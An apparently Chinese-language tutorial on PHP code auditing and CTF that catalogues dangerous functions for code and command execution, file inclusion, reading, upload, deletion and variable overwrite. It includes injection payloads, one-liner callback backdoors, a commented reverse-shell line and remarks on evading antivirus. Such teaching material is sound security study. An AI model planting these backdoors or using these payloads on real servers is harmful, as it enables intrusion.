执行结果——>因为1不等于2,所以前面断言失败,抛出异常
+

这里就是实例化一个对象,用这个对象来抛出异常。

+

一个php 5 中的示例

+
<?php
assert(1 == 2,'前面断言失败,抛出异常');
?>

执行结果——>Warning: assert(): 前面断言失败,抛出异常 failed in D:\phpstudy_pro\WWW\1.php on line
<?php
assert(1 == 2);
?>

执行结果——>Warning: assert(): Assertion failed in D:\phpstudy_pro\WWW\1.php on line ```


所以PHP 7 相较于PHP 5 就是多了个用Throwable来发出警告。

那么,如果前面断言成功呢?会发生什么呢?来个最简单,也是我们比较喜欢的示例

```php
<?php
$code = "system(whoami)"
assert($code);
?>

执行结果——>desktop-m61j5j6\admin
+

这段代码在PHP 5 和PHP 7 中都会返回命令执行结果,虽然PHP 7 中对断言函数的参数稍作了改变,但是为了兼容低版本,所以还是会直接返回结果。

+

preg_replace()​

+

通过函数名字我们也应该能够了解函数大概作用,此函数执行一个正则表达式的搜索和替换。

+
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
+

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

+
参数说明:​
+
    +
  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • +
  • $replacement: 用于替换的字符串或字符串数组。
  • +
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • +
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • +
  • $count: 可选,为替换执行的次数。
  • +
+

那这个函数跟我们命令执行有什么关系呢?仅仅看上面的官方解释似乎看不出什么,但是preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题,为什么呢?

+

看一个案例

+
<?php
function Ameng($regex, $value){
return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}
foreach ($_GET as $regex => $value){
echo Ameng($regex, $value) . "\n";
}
?>
+

上面这段我们需要注意的就是\1,\1在正则表达式是反向引用的意思,简而言之就是指定一个子匹配项。

+

针对上面案例,我们来个payload:

+
payload=/?.*={${phpinfo()}}
所以语句就成了这样
preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
+

那么我们直接把这段代码放到页面

+
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', '{${phpinfo()}}');
?>
+

访问页面,结果如下:

+

img

+

我们看到成功执行了代码。

+

但是这里我是直接将这段代码写到了文件里,那么如果我们是通过GET传参得到参数,这里针对上面那个案例就需要注意一点,在通过GET传参时,.*会被替换为_*导致我们要的正则被替换了,达不到我们的效果,所以这里可用使用一些其他的正则表达式来达到目的,比如通过GET传参时我们的参数可以传入\S*从而达到同样目的。所以以后再遇到这个函数的时候,要留个心眼了。不过,这里要补充一点,就是preg_replace()函数在PHP 7 后便不再支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。

+

create_function()​

+

create_function()用来创建一个匿名函数

+
create_function( string $args, string $code) : string
+
参数​
+
    +
  • string $args 声明的函数变量部分
  • +
  • string $code 要执行的代码
  • +
+
返回值​
+

返回唯一的函数名称作为字符串或者返回FALSE错误

+

create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。所以这里为了演示这个函数,我采用的是PHP 5 的环境。那么这个函数到底怎么用呢?

+

那么来看我写的一个简单的案例

+
<?php
$onefunc = create_function('$a','return system($a);');
$onefunc(whoami);
?>

执行结果——>desktop-m61j5j6\admin
+

我们看到使用此函数为我们相当于创造了一个匿名的函数,给它赋以相应的变量,就执行了我们要执行的代码。

+

那么接下来我们来看一个简单的案例

+
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
+

这个主要功能就是实现排序,这段代码就调用了create_function()函数,那么我们能否利用这个函数执行我们想要执行的代码呢?

+

当然可以,我们只需要在传参时将前面的符号闭合,然后输入我们想要执行的代码即可。

+
payload='"]);}phpinfo();/*
执行payload前:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
执行payloda后:$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
+

看到这里,你可能会有稍微疑惑,就是你闭合就闭合吧,为什么后面多了个;},不知道你是否想到了这一点?

+

那么我就来分析一下这个,上面的那段执行代码,实际上就是一个匿名函数的创建,既然是一个函数,注意是一个函数,那么你觉得有没有花括号呢?看我如下代码

+
<?php
//未闭合之前
function sort($a,$b){
' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
}
//闭合之后
function sort($a,$b){
' return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
?>
+

可以看到,我们借用了匿名函数的位置,插入了我们要执行的代码,然后等这个匿名函数被create_function当作$code执行的时候,是不是代码就被执行了。

+

结果:

+

img

+

那么creat_function函数还有别的用法吗?我们将上面一个案例简单的修改一下,代码如下:

+
<?php
$onefunc = create_function("","die(`cat flag.php`)");
$_GET['func_name']();
die();
?>
+

代码简单的来看,我们只需要执行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag。

+

所以,以后再代码中如果看到调用create_function()要小心一点,但是如果是CTF题目的话,不会这么直接就吧这个函数暴露给你,它可能会用到拼接或者替换来构造这个函数。最后再强调一下,create_function函数在PHP 7.2 版本之后就已经被废弃了。

+

array_map()​

+

array_map()为数组的每个元素应用回调函数

+
array_map( callable $callback, array $array1[, array $...] ) : array
+

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样。

+
参数​
+
    +
  • callback:回调函数,应用到每个数组里的每个元素。
  • +
  • array1:数组,遍历运行callback函数。
  • +
  • ...:数组列表,每个都遍历运行callback函数。
  • +
+
返回值​
+

返回数组,包含callback函数处理之后array1的所有元素。

+

说了这么多官方的函数解释,那么这个函数到底如何使用呢?简而言之,这个函数的作用可以这么直白的解释一下。你本来有一个数组,然后我通过array_map函数将你这个数组当作参数传入,然后返回一个新的数组。见下图。

+

img

+

代码示例:

+
<?php
$old_array = array(1, 2, 3, 4, 5);
function func($arg){
return $arg * $arg;
}
$new_array = array_map('func',$old_array);
var_dump($new_array);
?>


执行结果——>
array(5) {
[0]=>
int(1)
[1]=>
int(4)
[2]=>
int(9)
[3]=>
int(16)
[4]=>
int(25)
}
+

通过上述代码,我们大概知道这个函数就是调用回调函数(用户自定义的函数)来实现对现有数组的操作,从而得到一个新的数组。

+

那么功能我知道了,可是这个和代码执行有什么关系呢?如何能够利用这个函数执行代码呢?且看下面所示代码。

+
<?php
$func = 'system';
$cmd = 'whoami';
$old_array[0] = $cmd;
$new_array = array_map($func,$old_array);
var_dump($new_array);
?>


执行结果——>
desktop-m61j5j6\admin
array(1) {
[0]=>
string(21) "desktop-m61j5j6\admin"
}
+

这段代码就是,通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了。

+

call_user_func()​

+

call_user_func()是把第一个参数作为回调函数调用

+
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
+
参数​
+

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。

+
    +
  • callback:即将被调用的回调函数
  • +
  • parameter:传入回调函数的参数
  • +
+

这个函数还是非常好理解的,看一段简单的示例代码

+
<?php
function callback($a,$b){
echo $a . "\n";
echo $b;
}
call_user_func('callback','我是参数1','我是参数2');
?>


执行结果——>
我是参数我是参数
+

可以看到此函数作用就是调用了笔者自定义的函数。那么这个如何实现代码执行呢?好说,你在前面自定义的函数中加入能执行命令的代码不久可以代码执行了。

+

示例代码:

+
<?php
function callback($a){
return system($a);
}
$cmd = 'whoami';
call_user_func('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

call_user_func_array()​

+

这个函数名称跟上没什么大的差别,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数

+
call_user_func_array( callable $callback, array $param_arr) : mixed
+
参数​
+
    +
  • callback:被调用的回调函数
  • +
  • param_arr:要被传入回调函数的数组,这个数组需要是索引数组
  • +
+

示例代码

+
<?php
function callback($a,$b){
echo $a . "\n";
echo $b;
}
$onearray = array('我是参数1','我是参数2');
call_user_func_array('callback',$onearray);
?>


执行结果——>
我是参数我是参数```


示例代码:

```php
<?php
function callback($a){
return system($a);
}
$cmd = array('whoami');
call_user_func_array('callback',$cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

array_filter()​

+

用回调函数过滤数数组中的单元

+
array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array
+

依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

+
参数​
+
    +
  • array:要循环的数组
  • +
  • callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
  • +
  • flag:决定callback接收的参数形式
  • +
+

代码示例(这里看官方的就行,很详细):

+
<?php
function odd($var)
{
// returns whether the input integer is odd
return($var & 1);
}

function even($var)
{
// returns whether the input integer is even
return(!($var & 1));
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>


执行结果——>
Odd :
Array
(
[a] => [c] => [e] => )
Even:
Array
(
[0] => [2] => [4] => [6] => )
+

从上面代码我们知道,这个函数作用其实就是过滤,只不过这个过滤调用的是函数,而被过滤的是传入的参数。到这里你心里有没有代码执行的雏形了?

+

代码示例:

+
<?php
$cmd='whoami';
$array1=array($cmd);
$func ='system';
array_filter($array1,$func);
?>


执行结果——>
desktop-m61j5j6\admin
+

usort()​

+

使用用户自定义的比较函数对数组中的值进行排序

+
usort( array &$array, callable $value_compare_func) : bool
+
参数​
+
    +
  • array:输入的数组
  • +
  • cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数
  • +
+

代码示例:

+
<?php
function func($a,$b){
return ($a<$b)?1:-1;
}
$onearray=array(1,3,2,5,9);
usort($onearray, 'func');
print_r($onearray);
?>

执行结果——>
Array
(
[0] => [1] => [2] => [3] => [4] => )
+

可见实现了逆序的功能。那么倘若我们把回调函数设计成能够执行代码的函数,是不是就可以执行我们想要的代码了呢?

+

代码示例:

+
<?php 
usort(...$_GET);
?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();
+

usort的参数通过GET传参,第一个参数也就是$_GET[0],随便传入一个数字即可。第二个参数也就是$_GET[1]是我们要调用的函数名称,这里采用的是assert函数。

+

执行结果:

+

img

+

uasort()​

+

这个跟上一个差不多,区别不是很大。此函数对数组排序并保持索引和单元之间的关联。也就是说你这个排完序之后呢,它原来对应的索引也会相应改变,类似于“绑定”。

+
uasort( array &$array, callable $value_compare_func) : bool
+
参数​
+
    +
  • array:输入的数组
  • +
  • value_compare_func:用户自定义的函数
  • +
+

这里用的仍然官方例子(比较好理解)

+
<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);

// Sort and print the resulting array
uasort($array, 'cmp');
print
?>

执行结果——>
Array
(
[a] => [b] => [c] => - [d] => - [e] => [f] => [g] => [h] => -)
Array
(
[d] => - [h] => - [c] => - [e] => [g] => [a] => [f] => [b] => )
+

我们发现,在排完序之后索引也跟着值的位置变化而变化了。那么代码执行的示例代码其实也和上一个差不多。

+

代码示例:

+
<?php
$a = $_GET['a'];
$onearray = array('Ameng', $_POST['x']);
uasort($onearray, $a);
?>
+

执行结果:

+

img

+

总结​

+

看完这里不知道你对代码审计中的代码执行部分是否有另一种想法?我的想法就是这个是和后门联系在一起的。我们可以看到很多函数都具有构造执行命令的条件,而且其中很多函数也的确被用在后门中,特别像后面几个回调函数,在后门中更是常见。当然这些后门函数也早已被安全厂商盯住,所以大部分已经无法直接免杀,所以想要免杀就需要结合其他姿势,比如替换、拼接、加密等等。但是这些知识在CTF中还是比较容易出现的。

+

命令执行​

+

说完代码执行,我们再来看看命令执行。常见的命令执行函数有哪些呢?

+

system()​

+

这个函数想必我们都是比较熟悉的,此函数就是执行外部指令,并且显示输出

+
system( string $command[, int &$return_var] ) : string
+
参数​
+
    +
  • command:必需。要执行的命令
  • +
  • return_var:可选。若设置了这个参数,那么命令执行后的返回状态就会被放到这个变量中
  • +
+

示例代码:

+
<?php
$cmd = 'whoami';
system($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

exec()​

+

这个其实和上面system函数没有太大区别,都是执行外部程序指令,只不过这个函数多了一个参数,可以让我们把命令执行输出的结果保存到一个数组中。

+
exec( string $command[, array &$output[, int &$return_var]] ) : string
+
参数​
+
    +
  • command:必需。要执行的命令
  • +
  • output:可选。如果设置了此参数,那么命令执行的结果将会保存到此数组。
  • +
  • return_var:可选。命令执行的返回状态。
  • +
+
<?php
$cmd = 'whoami';
echo exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

shell_exec()​

+

此函数通过shell环境执行命令,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,那么就返回NULL

+
shell_exec( string $cmd) : string
+
参数​
+
    +
  • cmd:要执行的命令
  • +
+

代码示例:

+
<?php
$cmd = 'whoami';
echo shell_exec($cmd);
?>

执行结果——>
desktop-m61j5j6\admin
+

passthru()​

+

执行外部程序并且显示原始输出。既然我们已经有执行命令的函数了,那么这个函数我们什么时候会用到呢?当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()或system()函数

+
passthru( string $command[, int &$return_var] ) : void
+
参数​
+
    +
  • command:要执行的命令
  • +
  • return_var:Unix命令的返回状态将被记录到此函数。
  • +
+

代码示例:

+
第一你可以这么写
<?php
passthru('whoami'); //直接将结果返回到页面
?>
第二你可以这么写
<?php
passthru('whoami',$result); //将结果返回到一个变量,然后通过输出变量值得到输出内容
echo $result;
?>
+

pcntl_exec()​

+

在当前进程空间执行指定程序。关键点就在于进程空间,倘若我现在设定一个条件,你只有在某个子进程中才能读取phpinfo,那这个时候,我们就需要用到这个函数了。

+
pcntl_exec( string $path[, array $args[, array $envs]] ) : void
+
参数​
+
    +
  • path:path必须时可执行二进制文件路径或在一个文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
  • +
  • args:此参数是一个传递给程序的参数的字符串数组
  • +
  • envs:环境变量,这个想必大家都很熟悉,只不过这里强调一点,这里传入的是数组,数组格式是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
  • +
+

示例代码:

+
//father
<?php
pcntl_exec('/usr/local/bin/php', ['2.php']);
?>
+
//son
<?php
while(true){
echo 'ok';
}
?>
+

popen()​

+

此函数使用command参数打开进程文件指针。如果出错,那么该函数就会返回FALSE。

+
popen(command,mode)
+
参数​
+
    +
  • command:要执行的命令
  • +
  • mode:必需。规定连接的模式 +
      +
    • r:只读
    • +
    • w:只写(打开并清空已有文件或创建一个新文件)
    • +
    +
  • +
+

代码示例:

+
<?php
$file = popen("demo.txt","r");
pclose($file);
?>

<?php
$file = popen("/bin/ls","r");
//some code to be executed
pclose($file);
?>
+

proc_open()​

+

此函数执行一个命令,并且打开用来输入或者输出的文件指针

+
proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) 
+

此函数其实和popen函数类似,都是执行命令

+
参数​
+
    +
  • cmd:要执行的命令
  • +
  • descriptorspec:索引数组。数组中的键值表示描述符,元素值表示 PHP 如何将这些描述符传送至子进程。0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。
  • +
  • pipes:将被置为索引数组,其中的元素是被执行程序创建的管道对应到PHP这一段的文件指针。
  • +
  • cwd:要执行命令的初始工作目录。必需是绝对路径。此参数默认使用 NULL(表示当前 PHP 进程的工作目录)
  • +
  • env。要执行命令所使用的环境变量。此参数默认为 NULL(表示和当前 PHP 进程相同的环境变量)
  • +
  • other_options:可选。附加选项 +
      +
    • suppress_errors (仅用于 Windows 平台):设置为 TRUE 表示抑制本函数产生的错误。
    • +
    • bypass_shell (仅用于 Windows 平台):设置为 TRUE 表示绕过 cmd.exe shell。
    • +
    +
  • +
+

说白了,其实就是执行命令,只不过其中多了一些选项,包括目录的,环境变量的等。

+

示例代码:

+
$descriptorspec = array(
0 => array("pipe", "r"), //标准输入,子进程从此管道读取数据
1 => array("pipe", "w"), //标准输出,子进程向此管道写入数据
2 => array("file", "/opt/figli/php/error-output.txt","a") //标准错误,写入到指定文件
);


$process = proc_open("ls -a", $descriptorspec, $pipes);

if(is_resource($process)){

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);

proc_close($process); //在调用proc_close之前必须关闭所有管道
}
+

文件包含​

+

include()​

+

include将会包含语句并执行指定文件

+
include 'filename';
+

关键点就在于执行指定文件,执行给了我们代码执行的机会。倘若此时我们构造了一个后门文件,需要在目标机器执行进行shell反弹,那么如果代码中有include而且没有进行过滤,那么我们就可以使用该函数来执行我们的后门函数。下面我来演示一下。

+

示例代码(1.php):

+
<?php
highlight_file(__FILE__);
$file = $_GET['file'];
include $file;
?>
+

示例代码(2.php):

+
<?php
//这里可以使用PHP来反弹shell,我这里只是演示
//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
echo '<br><h1>[*]backdoor is running!</h1>';
?>
+

执行结果:

+

img

+

include_once()​

+

include_once与include没有太大区别,唯一的其区别已经在名称中体现了,就是相同的文件只包含一次。其他功能和include_once一样,只是增加对每个文件包含的次数。

+

require()​

+

require的实现和include功能几乎完全相同,那既然一样为什么还要多一个这样的函数呢?( 我也不知道)

+

其实两者还是有点区别的,什么区别呢?这么说,如果你包含的文件的代码里面有错误,你觉得会发生什么?是继续执行包含的文件,还是停止执行呢?所以区别就在这里产生了。

+

require在出错时会导致脚本终止,而include在出错时只是发生警告,脚本还是继续执行。

+

require_once()​

+

这个我觉得你看完上面的,应该就懂了。这两者关系和include与include_once的关系是一样的。

+

总结​

+

文件包含有很多利用手段,其中在实际环境中,例如我们向服务器写入了后门,但是我们无法直接连接服务器,那么如果有文件包含函数,我们可以通过文件包含函数包含执行我们的后门函数,让服务器反弹连接我们。岂不美哉。

+

文件读取(下载)​

+

file_get_contents()​

+

函数功能是将整个文件读入一个字符串

+
file_get_contents(path,include_path,context,start,max_length)
+
参数​
+
    +
  • filename:要读取文件的名称。
  • +
  • include_path:可选。如果也想在 include_path 中搜索文件,可以设置为1。
  • +
  • context:可选。规定句柄的位置。
  • +
  • start:可选。规定文件中开始读取的位置。
  • +
  • max_length:可选。规定读取的字节数。
  • +
+

代码示例:

+
<?php
echo file_get_contents('demo.txt');
?>

执行结果——>
I am a demo text
+

fopen()​

+

此函数将打开一个文件或URL,如果 fopen() 失败,它将返回 FALSE 并附带错误信息。我们可以通过在函数名前面添加一个 @ 来隐藏错误输出。

+
fopen(filename,mode,include_path,context)
+
参数​
+
    +
  • filename:必需。要打开的文件或URL
  • +
  • mode:必需。规定访问类型(例如只读,只写,读写方式等,方式的规定和其他语言的规定方式一致)
  • +
  • include_path:可选。就是你可以指定搜索的路径位置,如果要指定的话,那么该参数要指定为- context:可选。规定句柄的环境。
  • +
+

代码示例:

+
<?php
$file = fopen("demo.txt","rb");
$content = fread($file,1024);
echo $content;
fclose($file);
?>

执行结果——>
I am a demo text
+

这段代码中其实也包含了fread的用法。因为fread仅仅只是打开一个文件,要想读取还得需要用到fread来读取文件内容。

+

fread()​

+

这个函数刚才在上个函数中基本已经演示过了,就是读取文件内容。这里代码就不再演示了,简单介绍一下参数和用法。

+
string fread ( resource $handle , int $length )
+
参数​
+
    +
  • handle:文件系统指针,是典型地由 fopen创建的resource。
  • +
  • length:必需。你要读取的最大字节数。
  • +
+

fgets()​

+

从打开的文件中读取一行

+
fgets(file,length) 
+
参数​
+
    +
  • file:必需。规定要读取的文件。
  • +
  • length:可选。规定要读取的字节数。默认是1024字节。
  • +
+

可以看出这个函数和之前的fread区别不是很大,只不过这个读取的是一行。

+

fgetss()​

+

这个函数跟上个没什么差别,也是从打开的文件中读取去一行,只不过过滤掉了 HTML 和 PHP 标签。

+
fgetss(file,length,tags)
+
参数​
+
    +
  • file:必需。要检查的文件。
  • +
  • length:可选。规定要读取的字节数,默认1024字节。
  • +
  • tags:可选。哪些标记不去掉。
  • +
+

代码示例:

+
<?php
$file = fopen("demo.html","r");
echo fgetss($file);
fclose($file);
?>

demo.html代码
<h1>I am a demo</h1>

执行结果——>
I am a demo
+

readfile()​

+

这个函数从名称基本就知道它是干啥的了,读文件用的。此函数将读取一个文件,并写入到输出缓冲中。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。

+
readfile(filename,include_path,context)
+
参数​
+
    +
  • filename:必需。要读取的文件。
  • +
  • include_path:可选。规定要搜索的路径。
  • +
  • context:可选。规定文件句柄环境。
  • +
+

代码示例:

+
<?php
echo "<br>" . readfile("demo.txt");
?>

执行结果——>
I am a demo:) I am a demo:(
+

我们看到不仅输出了所有内容,而且还输出了总共长度。但是没有输出换行。

+

file()​

+

把文件读入到一个数组中,数组中每一个元素对应的是文件中的一行,包括换行符。

+
file(path,include_path,context)
+
参数​
+
    +
  • path:必需。要读取的文件。
  • +
  • include_path:可选。可指定搜索路径。
  • +
  • context:可选。设置句柄环境。
  • +
+

代码示例:

+
<?php
print_r(file("demo.txt"));
?>

执行结果——>
Array
(
[0] => I am the first line!
[1] => I am the second line!
)
+

parse_ini_file()​

+

从名称可以看出,这个函数不是读取一个简单的文件。它的功能是解析一个配置文件(ini文件),并以数组的形式返回其中的位置。

+
parse_ini_file(file,process_sections)
+
参数​
+
    +
  • file:必需。要读取的ini文件
  • +
  • process_sections:可选。若为TRUE,则返回一个多维数组,包括了详细信息
  • +
+

代码示例:

+
<?php
print_r(parse_ini_file("demo.ini"));
?>

demo.ini内容:
[names]
me = Robert
you = Peter

[urls]
first = "http://www.example.com"
second = "https://www.runoob.com"

执行结果——>
Array
(
[me] => Robert
[you] => Peter
[first] => http://www.example1.com
[second] => https://www.example2.com
)
+

show_source()/highlight_file()​

+

这两个函数没什么好说的,想必大家也经常见到这两个函数,其作用就是让php代码显示在页面上。这两个没有任何区别,show_source其实就是highlight_file的别名。

+

总结​

+

文件读取这块内容没什么好说的,不难,大多只是基本的应用。重点文件读取如果没有设置权限和过滤参数,那就问题大了,我们就可以任意文件读取了。

+

补充:什么是句柄?

+

开局先给一段代码

+
$file = fopen("demo.txt","rb");
+

在这段代码中$file就是一个句柄。句柄关键点在“柄”,后面的fopen是一个资源,好比一口锅,而前面的$file就好比这个锅的把手。那么以后我们在操作的时候操作把手就行了。通过这个把手我们可以间接操作比较大的资源。其实也类似C语言中的指针,只是一个标识。

+

文件上传​

+

move_uploaded_file()​

+

此函数是将上传的文件移动到新位置。

+
move_uploaded_file(file,newloc)
+
参数​
+
    +
  • file:必需。规定要移动的文件。
  • +
  • newloc:必需。规定文件的新位置。
  • +
+

本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

+

如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。

+

如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。

+

代码示例:

+
$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$fileName )
+

这段代码就是直接接收上传的文件,没有进行任何的过滤,那么当我们上传getshell的后门时,就可以直接获取权限,可见这个函数是不能乱用的,即便要用也要将过滤规则完善好,防止上传不合法文件。

+

文件删除​

+ +

此函数用来删除文件。成功返回 TURE ,失败返回 FALSE。

+
unlink(filename,context)
+
参数​
+
    +
  • filename:必需。要删除的文件。
  • +
  • context:可选。句柄环境。
  • +
+

我们知道,一些网站是有删除功能的。比如常见的论坛网站,是有删除评论或者文章功能的。倘若网站没有对删除处做限制,那么就可能会导致任意文件删除(甚至删除网站源码)。

+

代码示例:

+
<?php
$file = "demo.txt";
if(unlink($file)){
echo("$file have been deleted");
}
else{
echo("$file not exist?")
}
php>
+

session_destroy()​

+

在了解这个函数之前,我们需要先了解 PHP session。 PHP session 变量用于存储关于用户会话的信息。关于 sesson 的机制这里我就不再过于详细介绍。

+

session_destroy()函数用来销毁一个会话中的全部数据,但并不会重置当前会话所关联的全局变量,同时也不会重置会话 cookie

+

代码示例:

+
<?php
// 初始化会话。
// 如果要使用会话,别忘了现在就调用:
session_start();

// 重置会话中的所有变量
$_SESSION = array();

// 如果要清理的更彻底,那么同时删除会话 cookie
// 注意:这样不但销毁了会话中的数据,还同时销毁了会话本身
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}

// 最后,销毁会话
session_destroy();
?>
+

变量覆盖​

+

extract()​

+

此函数从数组中将变量导入到当前的符号表。其实作用就是给变量重新赋值,从而达到变量覆盖的作用。

+
extract(array,extract_rules,prefix)
+
参数​
+
    +
  • array:必需。规定要使用的数组。
  • +
  • extract_rules:可选。extract函数将检查每个键名是否为合法的变量名,同时也检查和符号中已经存在的变量名是否冲突,对不合法或者冲突的键名将会根据此参数的设定的规则来决定。 +
      +
    • EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
    • +
    • EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    • +
    • EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
    • +
    • EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
    • +
    • EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    • +
    • EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    • +
    • EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
    • +
    • EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
    • +
    +
  • +
  • prefix:可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
  • +
+

代码示例:

+
<?php
$color = "blue";
$one_array = array("color" => "red",
"size" => "medium",
"name" => "dog");
extract($one_array);
echo "$color, $size, $name";
?>

执行结果——>
red, medium, dog
+

在上述代码中,我们看到,本来我们定义的color是blue,输出的时候变成了red,本来我们没有定义size和name,可是却能输出这两个变量。

+

还有一些在CTF比赛中出现过的用法,比如直接让你POST传参来改变某个变量的值。

+

代码示例:

+
<?php
$name = 'cat';
extract($_POST);
echo $name;
?>
+

参时如果我们POST传入name=dog,那么页面将会回显dog,说明这个函数的使用让我们实现了变量的覆盖,改变了变量的值。

+

parse_str()​

+

此函数把查询到的字符串解析到变量中。

+
parse_str(string,array)
+
参数​
+
    +
  • string:必需。规定要解析的字符串。
  • +
  • array:可选。规定存储变量的数组名称。该参数只是变量存储到数组中。
  • +
+

代码示例:

+
<?php
parse_str("name=Ameng&sex=boy",$a);
print_r($a);
?>

执行结果——>
Array
(
[name] => Ameng
[sex] => boy
)
+

上述代码是有array情况下的使用情况,那么如何实现变量的覆盖呢?如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

+

代码示例:

+
<?php
$name = 'who';
$age = '20';
parse_str("name=Ameng&age=21");
echo "$name, $age";
?>

执行结果——>
Ameng,
+

通过上述代码,我们可以发现,变量name和age都发生了变化,被新的值覆盖了。这里我用的是 PHP 7.4.3 版本。发现这个函数的这个作用还是存在的,且没有任何危险提示。

+

import_request_variables()​

+

此函数将GET/POST/Cookie变量导入到全局作用域中。从而能够达到变量覆盖的作用。

+

版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.

+
bool import_request_variables ( string $types [, string $prefix ] )
+
参数​
+
    +
  • types:指定需要导入的变量,可以用字母 G、P 和 C 分别表示 GET、POST 和 Cookie,这些字母不区分大小写,所以你可以使用 g 、 p 和 c 的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序,当使用 gp 时,POST 变量将使用相同的名字覆盖 GET 变量。
  • +
  • prefix:变量名的前缀,置于所有被导入到全局作用域的变量之前。所以如果你有个名为 userid 的 GET 变量,同时提供了 pref_ 作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 E_NOTICE 级别的错误。
  • +
+

代码示例:

+
<?php
$name = 'who';
import_request_variables('gp');
if($name == 'Ameng'){
echo $name;
}
else{
echo 'You are not Ameng';
}
?>
+

